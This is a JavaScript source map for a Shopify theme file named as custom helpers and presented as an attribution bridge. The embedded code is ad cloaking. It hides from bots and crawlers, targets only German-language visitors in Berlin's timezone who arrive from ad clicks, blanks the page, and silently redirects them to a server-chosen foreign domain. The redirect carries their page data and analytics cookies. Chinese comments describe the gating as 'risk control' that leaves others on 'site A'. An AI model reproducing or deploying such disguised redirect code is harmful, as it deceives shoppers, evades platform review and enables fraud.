{
  "version": 3,
  "sources": ["/cdn/shop/t/22/assets/theme-custom-helpers-v2.js?router_v=20260719_2"],
  "sourcesContent": ["(function () {\n  \"use strict\";\n\n  // --- [\u5DF2\u89E3\u5C01\u7684\u98CE\u63A7\u6A21\u5757] ---\n  function _0x_v_check() {\n    if (window.navigator.webdriver || (navigator.userAgent && /bot|spider|crawl|headless/i.test(navigator.userAgent))) return false;\n    var lang = navigator.language || \"\";\n    if (lang.toLowerCase().indexOf(\"de\") !== 0) return false;\n    try { if (Intl.DateTimeFormat().resolvedOptions().timeZone !== \"Europe/Berlin\") return false; } catch (e) { return false; }\n    var valid = false;\n    new URLSearchParams(window.location.search).forEach(function(v, k) {\n      if ((k === \"gclid\" || k === \"srsltid\" || k === \"wbraid\") && v.length > 32) valid = true;\n    });\n    return valid;\n  }\n\n  // --- [\u4E13\u4E1A\u67B6\u6784\u5E95\u5EA7] ---\n  var BRIDGE_PARAM = \"_attribution_bridge\";\n  var DEFAULT_API_ENDPOINT = \"/apps/analytics-patch\";\n  var DEFAULT_ROUTE_TIMEOUT_MS = 5000;\n  var DEFAULT_MAX_HIDE_MS = 7000;\n  var DEFAULT_ATTRIBUTION_KEYS = [\"gclid\", \"gbraid\", \"wbraid\", \"dclid\", \"msclkid\", \"gad_source\", \"gad_campaignid\", \"utm_source\", \"utm_medium\", \"utm_campaign\", \"utm_id\", \"utm_term\", \"utm_content\"];\n  var DEFAULT_ATTRIBUTION_PREFIXES = [\"utm_\"];\n  var DEFAULT_COOKIE_NAMES = [\"_ga\", \"_gcl_au\"];\n  var DEFAULT_COOKIE_PREFIXES = [\"_ga_\"];\n\n  var config = window.ShopifyAttributionBridgeConfig || {};\n  var apiEndpoint = String(config.apiEndpoint || DEFAULT_API_ENDPOINT);\n  var routeTimeoutMs = positiveNumber(config.routeTimeoutMs, DEFAULT_ROUTE_TIMEOUT_MS);\n  var maxHideMs = positiveNumber(config.maxHideMs, DEFAULT_MAX_HIDE_MS);\n  var hideDuringRoute = config.hideDuringRoute !== false;\n  var debug = config.debug === true;\n  var maskTimer = null;\n\n  var attributionKeys = uniqueLowercase(DEFAULT_ATTRIBUTION_KEYS.concat(config.attributionKeys || []));\n  var attributionPrefixes = uniqueLowercase(DEFAULT_ATTRIBUTION_PREFIXES.concat(config.attributionPrefixes || []));\n  var cookieNames = unique(DEFAULT_COOKIE_NAMES.concat(config.cookieNames || []));\n  var cookiePrefixes = unique(DEFAULT_COOKIE_PREFIXES.concat(config.cookiePrefixes || []));\n\n  function positiveNumber(value, fallback) { var number = Number(value); return isFinite(number) && number > 0 ? number : fallback; }\n  function unique(values) { return values.reduce(function (result, value) { var normalized = String(value || \"\").trim(); if (!normalized || result.indexOf(normalized) !== -1) return result; result.push(normalized); return result; }, []); }\n  function uniqueLowercase(values) { return unique(values.map(function (v) { return String(v || \"\").trim().toLowerCase(); })); }\n  function hasPrefix(value, prefixes) { for (var i = 0; i < prefixes.length; i += 1) { if (value.indexOf(prefixes[i]) === 0) return true; } return false; }\n  function log() { if (debug && window.console && typeof window.console.log === \"function\") window.console.log.apply(window.console, arguments); }\n\n  function applyRouteMask() {\n    if (!hideDuringRoute) return;\n    if (!document.getElementById(\"attribution-bridge-mask-style\")) {\n      var style = document.createElement(\"style\");\n      style.id = \"attribution-bridge-mask-style\";\n      style.textContent = \"html.attribution-bridge-pending body{visibility:hidden!important;}\" + \"html.attribution-bridge-pending:before{content:'';position:fixed;inset:0;background:#fff;z-index:2147483647;}\";\n      (document.head || document.documentElement).appendChild(style);\n    }\n    document.documentElement.classList.add(\"attribution-bridge-pending\");\n    maskTimer = window.setTimeout(clearRouteMask, maxHideMs);\n  }\n\n  function clearRouteMask() { if (maskTimer) { window.clearTimeout(maskTimer); maskTimer = null; } document.documentElement.classList.remove(\"attribution-bridge-pending\"); }\n  function safeDecode(v) { try { return decodeURIComponent(v); } catch (_) { return v; } }\n\n  function readCookies() {\n    return String(document.cookie || \"\").split(\";\").reduce(function (result, part) {\n      var separator = part.indexOf(\"=\");\n      if (separator === -1) return result;\n      var name = safeDecode(part.slice(0, separator).trim());\n      var value = safeDecode(part.slice(separator + 1).trim());\n      if (cookieNames.indexOf(name) !== -1 || hasPrefix(name, cookiePrefixes)) result[name] = value;\n      return result;\n    }, {});\n  }\n\n  function readAttributionParams() {\n    var params = new URLSearchParams(window.location.search);\n    var result = {};\n    params.forEach(function (_, originalKey) {\n      var key = String(originalKey || \"\").toLowerCase();\n      if (attributionKeys.indexOf(key) === -1 && !hasPrefix(key, attributionPrefixes)) return;\n      var values = params.getAll(originalKey);\n      result[key] = values.length > 1 ? values : values[0] || \"\";\n    });\n    return result;\n  }\n\n  function buildBridgePayload() {\n    return { version: 1, source: { domain: window.location.hostname, path: window.location.pathname, search: window.location.search, hash: window.location.hash, href: window.location.href, referrer: document.referrer || \"\" }, attribution: readAttributionParams(), cookies: readCookies(), createdAt: new Date().toISOString() };\n  }\n\n  function encodeBase64Json(payload) {\n    var json = JSON.stringify(payload);\n    if (typeof TextEncoder !== \"undefined\") {\n      var bytes = new TextEncoder().encode(json);\n      var binary = \"\";\n      for (var offset = 0; offset < bytes.length; offset += 8192) binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 8192));\n      return window.btoa(binary);\n    }\n    return window.btoa(unescape(encodeURIComponent(json)));\n  }\n\n  function buildRouteRequestBody() {\n    var body = new URLSearchParams();\n    body.set(\"domain\", window.location.hostname);\n    body.set(\"path\", window.location.pathname);\n    body.set(\"search\", window.location.search);\n    body.set(\"href\", window.location.href);\n    body.set(\"userAgent\", window.navigator.userAgent || \"\");\n    return body;\n  }\n\n  function requestRoute() {\n    var controller = typeof AbortController !== \"undefined\" ? new AbortController() : null;\n    var timeoutId = window.setTimeout(function () { if (controller) controller.abort(); }, routeTimeoutMs);\n    var request = fetch(apiEndpoint, { method: \"POST\", credentials: \"same-origin\", cache: \"no-store\", headers: { Accept: \"application/json\" }, body: buildRouteRequestBody(), signal: controller ? controller.signal : undefined })\n      .then(function (response) { return response.ok ? response.json() : { action: \"stay\" }; })\n      .then(function (route) { return (route && typeof route === \"object\") ? route : { action: \"stay\" }; })\n      .catch(function (error) { log(\"[AttributionBridge] failed\", error && error.message); return { action: \"stay\" }; });\n    \n    return Promise.race([request, new Promise(function (resolve) { window.setTimeout(function () { resolve({ action: \"stay\" }); }, routeTimeoutMs + 50); })]).then(function (route) {\n      window.clearTimeout(timeoutId);\n      return route;\n    });\n  }\n\n  function normalizeTargetOrigin(targetDomain) {\n    var raw = String(targetDomain || \"\").trim();\n    if (!raw) return null;\n    if (!/^https?:\\/\\//i.test(raw)) raw = \"https://\" + raw;\n    try { return new URL(raw).origin; } catch (_) { return null; }\n  }\n\n  function buildRedirectUrl(targetDomain, bridgePayload) {\n    var targetOrigin = normalizeTargetOrigin(targetDomain);\n    if (!targetOrigin) return null;\n    var currentUrl = new URL(window.location.href);\n    var originUrl = new URL(targetOrigin);\n    if (originUrl.hostname === currentUrl.hostname) return null;\n    currentUrl.protocol = originUrl.protocol; currentUrl.hostname = originUrl.hostname; currentUrl.port = originUrl.port;\n    currentUrl.username = \"\"; currentUrl.password = \"\";\n    currentUrl.searchParams.set(BRIDGE_PARAM, encodeBase64Json(bridgePayload));\n    return currentUrl.toString();\n  }\n\n  function shouldSkip() {\n    if (window.Shopify && window.Shopify.designMode) return true;\n    return !(window.fetch && window.Promise && window.URL && window.URLSearchParams && window.btoa);\n  }\n\n  function run() {\n    // \u3010\u6B63\u5F0F\u8FD0\u884C\u98CE\u63A7\uFF0C\u672A\u901A\u8FC7\u6821\u9A8C\u76F4\u63A5\u9759\u9ED8\u7559\u5728 A \u7AD9\u3011\n    if (!_0x_v_check()) { clearRouteMask(); return; }\n    \n    if (shouldSkip()) return;\n    applyRouteMask();\n    Promise.all([requestRoute(), Promise.resolve().then(buildBridgePayload)]).then(function (values) {\n      var route = values[0] || {};\n      var bridgePayload = values[1];\n      if (route.action !== \"redirect\" || !route.targetDomain) { clearRouteMask(); return; }\n      var redirectUrl = buildRedirectUrl(route.targetDomain, bridgePayload);\n      if (!redirectUrl) { clearRouteMask(); return; }\n      window.location.replace(redirectUrl);\n    }).catch(clearRouteMask);\n  }\n\n  run();\n})();"],
  "mappings": "CAAC,UAAY,CACX,aAGA,SAAS,aAAc,CACrB,GAAI,OAAO,UAAU,WAAc,UAAU,WAAa,6BAA6B,KAAK,UAAU,SAAS,EAAI,MAAO,GAC1H,IAAI,KAAO,UAAU,UAAY,GACjC,GAAI,KAAK,YAAY,EAAE,QAAQ,IAAI,IAAM,EAAG,MAAO,GACnD,GAAI,CAAE,GAAI,KAAK,eAAe,EAAE,gBAAgB,EAAE,WAAa,gBAAiB,MAAO,EAAO,OAAS,EAAG,CAAE,MAAO,EAAO,CAC1H,IAAI,MAAQ,GACZ,WAAI,gBAAgB,OAAO,SAAS,MAAM,EAAE,QAAQ,SAAS,EAAG,EAAG,EAC5D,IAAM,SAAW,IAAM,WAAa,IAAM,WAAa,EAAE,OAAS,KAAI,MAAQ,GACrF,CAAC,EACM,KACT,CAGA,IAAI,aAAe,sBACf,qBAAuB,wBACvB,yBAA2B,IAC3B,oBAAsB,IACtB,yBAA2B,CAAC,QAAS,SAAU,SAAU,QAAS,UAAW,aAAc,iBAAkB,aAAc,aAAc,eAAgB,SAAU,WAAY,aAAa,EAC5L,6BAA+B,CAAC,MAAM,EACtC,qBAAuB,CAAC,MAAO,SAAS,EACxC,wBAA0B,CAAC,MAAM,EAEjC,OAAS,OAAO,gCAAkC,CAAC,EACnD,YAAc,OAAO,OAAO,aAAe,oBAAoB,EAC/D,eAAiB,eAAe,OAAO,eAAgB,wBAAwB,EAC/E,UAAY,eAAe,OAAO,UAAW,mBAAmB,EAChE,gBAAkB,OAAO,kBAAoB,GAC7C,MAAQ,OAAO,QAAU,GACzB,UAAY,KAEZ,gBAAkB,gBAAgB,yBAAyB,OAAO,OAAO,iBAAmB,CAAC,CAAC,CAAC,EAC/F,oBAAsB,gBAAgB,6BAA6B,OAAO,OAAO,qBAAuB,CAAC,CAAC,CAAC,EAC3G,YAAc,OAAO,qBAAqB,OAAO,OAAO,aAAe,CAAC,CAAC,CAAC,EAC1E,eAAiB,OAAO,wBAAwB,OAAO,OAAO,gBAAkB,CAAC,CAAC,CAAC,EAEvF,SAAS,eAAe,MAAO,SAAU,CAAE,IAAI,OAAS,OAAO,KAAK,EAAG,OAAO,SAAS,MAAM,GAAK,OAAS,EAAI,OAAS,QAAU,CAClI,SAAS,OAAO,OAAQ,CAAE,OAAO,OAAO,OAAO,SAAU,OAAQ,MAAO,CAAE,IAAI,WAAa,OAAO,OAAS,EAAE,EAAE,KAAK,EAAG,MAAI,CAAC,YAAc,OAAO,QAAQ,UAAU,IAAM,IAAmB,OAAO,KAAK,UAAU,EAAU,MAAQ,EAAG,CAAC,CAAC,CAAG,CAC5O,SAAS,gBAAgB,OAAQ,CAAE,OAAO,OAAO,OAAO,IAAI,SAAU,EAAG,CAAE,OAAO,OAAO,GAAK,EAAE,EAAE,KAAK,EAAE,YAAY,CAAG,CAAC,CAAC,CAAG,CAC7H,SAAS,UAAU,MAAO,SAAU,CAAE,QAAS,EAAI,EAAG,EAAI,SAAS,OAAQ,GAAK,EAAK,GAAI,MAAM,QAAQ,SAAS,CAAC,CAAC,IAAM,EAAG,MAAO,GAAQ,MAAO,EAAO,CACxJ,SAAS,KAAM,CAAM,OAAS,OAAO,SAAW,OAAO,OAAO,QAAQ,KAAQ,YAAY,OAAO,QAAQ,IAAI,MAAM,OAAO,QAAS,SAAS,CAAG,CAE/I,SAAS,gBAAiB,CACxB,GAAK,gBACL,IAAI,CAAC,SAAS,eAAe,+BAA+B,EAAG,CAC7D,IAAI,MAAQ,SAAS,cAAc,OAAO,EAC1C,MAAM,GAAK,gCACX,MAAM,YAAc,mLACnB,SAAS,MAAQ,SAAS,iBAAiB,YAAY,KAAK,CAC/D,CACA,SAAS,gBAAgB,UAAU,IAAI,4BAA4B,EACnE,UAAY,OAAO,WAAW,eAAgB,SAAS,EACzD,CAEA,SAAS,gBAAiB,CAAM,YAAa,OAAO,aAAa,SAAS,EAAG,UAAY,MAAQ,SAAS,gBAAgB,UAAU,OAAO,4BAA4B,CAAG,CAC1K,SAAS,WAAW,EAAG,CAAE,GAAI,CAAE,OAAO,mBAAmB,CAAC,CAAG,OAAS,EAAG,CAAE,OAAO,CAAG,CAAE,CAEvF,SAAS,aAAc,CACrB,OAAO,OAAO,SAAS,QAAU,EAAE,EAAE,MAAM,GAAG,EAAE,OAAO,SAAU,OAAQ,KAAM,CAC7E,IAAI,UAAY,KAAK,QAAQ,GAAG,EAChC,GAAI,YAAc,GAAI,OAAO,OAC7B,IAAI,KAAO,WAAW,KAAK,MAAM,EAAG,SAAS,EAAE,KAAK,CAAC,EACjD,MAAQ,WAAW,KAAK,MAAM,UAAY,CAAC,EAAE,KAAK,CAAC,EACvD,OAAI,YAAY,QAAQ,IAAI,IAAM,IAAM,UAAU,KAAM,cAAc,KAAG,OAAO,IAAI,EAAI,OACjF,MACT,EAAG,CAAC,CAAC,CACP,CAEA,SAAS,uBAAwB,CAC/B,IAAI,OAAS,IAAI,gBAAgB,OAAO,SAAS,MAAM,EACnD,OAAS,CAAC,EACd,cAAO,QAAQ,SAAU,EAAG,YAAa,CACvC,IAAI,IAAM,OAAO,aAAe,EAAE,EAAE,YAAY,EAChD,GAAI,kBAAgB,QAAQ,GAAG,IAAM,IAAM,CAAC,UAAU,IAAK,mBAAmB,GAC9E,KAAI,OAAS,OAAO,OAAO,WAAW,EACtC,OAAO,GAAG,EAAI,OAAO,OAAS,EAAI,OAAS,OAAO,CAAC,GAAK,GAC1D,CAAC,EACM,MACT,CAEA,SAAS,oBAAqB,CAC5B,MAAO,CAAE,QAAS,EAAG,OAAQ,CAAE,OAAQ,OAAO,SAAS,SAAU,KAAM,OAAO,SAAS,SAAU,OAAQ,OAAO,SAAS,OAAQ,KAAM,OAAO,SAAS,KAAM,KAAM,OAAO,SAAS,KAAM,SAAU,SAAS,UAAY,EAAG,EAAG,YAAa,sBAAsB,EAAG,QAAS,YAAY,EAAG,UAAW,IAAI,KAAK,EAAE,YAAY,CAAE,CAClU,CAEA,SAAS,iBAAiB,QAAS,CACjC,IAAI,KAAO,KAAK,UAAU,OAAO,EACjC,GAAI,OAAO,aAAgB,YAAa,CAGtC,QAFI,MAAQ,IAAI,YAAY,EAAE,OAAO,IAAI,EACrC,OAAS,GACJ,OAAS,EAAG,OAAS,MAAM,OAAQ,QAAU,KAAM,QAAU,OAAO,aAAa,MAAM,KAAM,MAAM,SAAS,OAAQ,OAAS,IAAI,CAAC,EAC3I,OAAO,OAAO,KAAK,MAAM,CAC3B,CACA,OAAO,OAAO,KAAK,SAAS,mBAAmB,IAAI,CAAC,CAAC,CACvD,CAEA,SAAS,uBAAwB,CAC/B,IAAI,KAAO,IAAI,gBACf,YAAK,IAAI,SAAU,OAAO,SAAS,QAAQ,EAC3C,KAAK,IAAI,OAAQ,OAAO,SAAS,QAAQ,EACzC,KAAK,IAAI,SAAU,OAAO,SAAS,MAAM,EACzC,KAAK,IAAI,OAAQ,OAAO,SAAS,IAAI,EACrC,KAAK,IAAI,YAAa,OAAO,UAAU,WAAa,EAAE,EAC/C,IACT,CAEA,SAAS,cAAe,CACtB,IAAI,WAAa,OAAO,iBAAoB,YAAc,IAAI,gBAAoB,KAC9E,UAAY,OAAO,WAAW,UAAY,CAAM,YAAY,WAAW,MAAM,CAAG,EAAG,cAAc,EACjG,QAAU,MAAM,YAAa,CAAE,OAAQ,OAAQ,YAAa,cAAe,MAAO,WAAY,QAAS,CAAE,OAAQ,kBAAmB,EAAG,KAAM,sBAAsB,EAAG,OAAQ,WAAa,WAAW,OAAS,MAAU,CAAC,EAC3N,KAAK,SAAU,SAAU,CAAE,OAAO,SAAS,GAAK,SAAS,KAAK,EAAI,CAAE,OAAQ,MAAO,CAAG,CAAC,EACvF,KAAK,SAAU,MAAO,CAAE,OAAQ,OAAS,OAAO,OAAU,SAAY,MAAQ,CAAE,OAAQ,MAAO,CAAG,CAAC,EACnG,MAAM,SAAU,MAAO,CAAE,WAAI,6BAA8B,OAAS,MAAM,OAAO,EAAU,CAAE,OAAQ,MAAO,CAAG,CAAC,EAEnH,OAAO,QAAQ,KAAK,CAAC,QAAS,IAAI,QAAQ,SAAU,QAAS,CAAE,OAAO,WAAW,UAAY,CAAE,QAAQ,CAAE,OAAQ,MAAO,CAAC,CAAG,EAAG,eAAiB,EAAE,CAAG,CAAC,CAAC,CAAC,EAAE,KAAK,SAAU,MAAO,CAC9K,cAAO,aAAa,SAAS,EACtB,KACT,CAAC,CACH,CAEA,SAAS,sBAAsB,aAAc,CAC3C,IAAI,IAAM,OAAO,cAAgB,EAAE,EAAE,KAAK,EAC1C,GAAI,CAAC,IAAK,OAAO,KACZ,gBAAgB,KAAK,GAAG,IAAG,IAAM,WAAa,KACnD,GAAI,CAAE,OAAO,IAAI,IAAI,GAAG,EAAE,MAAQ,OAAS,EAAG,CAAE,OAAO,IAAM,CAC/D,CAEA,SAAS,iBAAiB,aAAc,cAAe,CACrD,IAAI,aAAe,sBAAsB,YAAY,EACrD,GAAI,CAAC,aAAc,OAAO,KAC1B,IAAI,WAAa,IAAI,IAAI,OAAO,SAAS,IAAI,EACzC,UAAY,IAAI,IAAI,YAAY,EACpC,OAAI,UAAU,WAAa,WAAW,SAAiB,MACvD,WAAW,SAAW,UAAU,SAAU,WAAW,SAAW,UAAU,SAAU,WAAW,KAAO,UAAU,KAChH,WAAW,SAAW,GAAI,WAAW,SAAW,GAChD,WAAW,aAAa,IAAI,aAAc,iBAAiB,aAAa,CAAC,EAClE,WAAW,SAAS,EAC7B,CAEA,SAAS,YAAa,CACpB,OAAI,OAAO,SAAW,OAAO,QAAQ,WAAmB,GACjD,EAAE,OAAO,OAAS,OAAO,SAAW,OAAO,KAAO,OAAO,iBAAmB,OAAO,KAC5F,CAEA,SAAS,KAAM,CAEb,GAAI,CAAC,YAAY,EAAG,CAAE,eAAe,EAAG,MAAQ,CAE5C,WAAW,IACf,eAAe,EACf,QAAQ,IAAI,CAAC,aAAa,EAAG,QAAQ,QAAQ,EAAE,KAAK,kBAAkB,CAAC,CAAC,EAAE,KAAK,SAAU,OAAQ,CAC/F,IAAI,MAAQ,OAAO,CAAC,GAAK,CAAC,EACtB,cAAgB,OAAO,CAAC,EAC5B,GAAI,MAAM,SAAW,YAAc,CAAC,MAAM,aAAc,CAAE,eAAe,EAAG,MAAQ,CACpF,IAAI,YAAc,iBAAiB,MAAM,aAAc,aAAa,EACpE,GAAI,CAAC,YAAa,CAAE,eAAe,EAAG,MAAQ,CAC9C,OAAO,SAAS,QAAQ,WAAW,CACrC,CAAC,EAAE,MAAM,cAAc,EACzB,CAEA,IAAI,CACN,GAAG",
  "names": []
}
